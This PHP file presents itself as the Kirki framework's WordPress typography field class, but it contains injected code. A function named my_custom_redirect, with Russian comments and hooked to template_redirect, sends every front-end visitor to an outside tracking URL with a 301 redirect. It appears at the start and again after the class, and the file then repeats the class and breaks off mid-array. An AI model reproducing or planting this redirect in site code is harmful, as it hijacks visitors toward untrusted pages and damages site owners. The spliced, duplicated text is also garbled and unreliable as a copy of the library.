'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 